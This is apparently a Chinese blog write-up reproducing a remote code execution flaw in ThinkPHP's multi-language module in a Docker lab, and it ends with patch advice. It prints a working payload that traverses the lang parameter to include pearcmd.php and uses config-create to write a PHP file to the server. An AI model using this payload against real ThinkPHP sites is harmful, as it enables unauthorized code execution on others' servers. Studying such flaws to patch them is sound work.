漏洞复现|thinkphp多语言模块远程代码执行漏洞(rce)

免责声明

本文章只用于技术交流,若使用本文章提供的技术信息进行非法操作,后果均由使用者本人负责。

前言

最近一直遇到thinkphp的站点,但是只是脚本小子的我,看见多数工具里面都是只有thinkphp5.0.x以前的利用,今天刚好看见有大佬复现该漏洞,学习一手,膜拜一下大佬

漏洞详情

漏洞描述:

ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越+文件包含,通过pearcmd文件包含这个trick即可实现RCE。

影响版本

  • 6.0.1 < ThinkPHP≤ 6.0.13
  • 5.0.0 < ThinkPHP≤ 5.0.12
  • 5.1.0 < ThinkPHP≤ 5.1.8

当前复现版本:6.0.12

利用条件:

  1. 多语言开启
  2. 安装pear扩展
  3. 知道pearcmd.php路径
  4. register_argc_argv=on

漏洞复现

环境搭建:

服务器首先要有docker环境,没有的可以先部署一个

docker直接拉取thinkphp:6.0.12的漏洞环境镜像:

docker pull vulfocus/thinkphp:6.0.12

启动容器,将容器的80端口映射到本机的80端口

docker run -it -d --name tp12 -p80:80 vulfocus/thinkphp:6.0.12

访问192.168.100.100:80/public查看环境启动与否

图片[1]-漏洞复现|thinkphp多语言模块远程代码执行漏洞(rce)-安全小天地

pearcmd.php

这个文件的一些具体细节可以参考这篇文章

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

进入容器查看pearcmd.php文件路径为

/usr/local/lib/php/pearcmd.php

图片[2]-漏洞复现|thinkphp多语言模块远程代码执行漏洞(rce)-安全小天地

判断是否存在pearcmd,访问路径,如果存在以下报错就是OK,需要自己更换

?lang=../../../../../../../../usr/local/lib/php/pearcmd
图片[3]-漏洞复现|thinkphp多语言模块远程代码执行漏洞(rce)-安全小天地

EXP

/?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/tmp/hello.php

可以发现成功写入

图片[4]-漏洞复现|thinkphp多语言模块远程代码执行漏洞(rce)-安全小天地

但是直接访问hello.php文件时间报错,这里是因为get请求时,自动对<>进行编码为:%3e,%3e写入文件,在解析php文件时找不到有效 <?php 标记 ,文件将无法解析。

用burp修改,正确写入后的响应如下:

图片[5]-漏洞复现|thinkphp多语言模块远程代码执行漏洞(rce)-安全小天地
图片[6]-漏洞复现|thinkphp多语言模块远程代码执行漏洞(rce)-安全小天地
图片[7]-漏洞复现|thinkphp多语言模块远程代码执行漏洞(rce)-安全小天地

成功解析文件。

当然不止config-create,还可以用Install命令下载

修复建议:

1、若无必要,可关闭多语言功能,可参考文档

https://www.kancloud.cn/manual/thinkphp6_0/1037637

https://static.kancloud.cn/manual/thinkphp5/118132

2、官方已发布6.0.14、5.1.42,建议升级至安全版本,链接如下:

https://github.com/top-think/framework/tags

参考文章

https://mp.weixin.qq.com/s/CFEMDE4A0TLscxrqlSOF9w

https://zhuanlan.zhihu.com/p/616016132

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容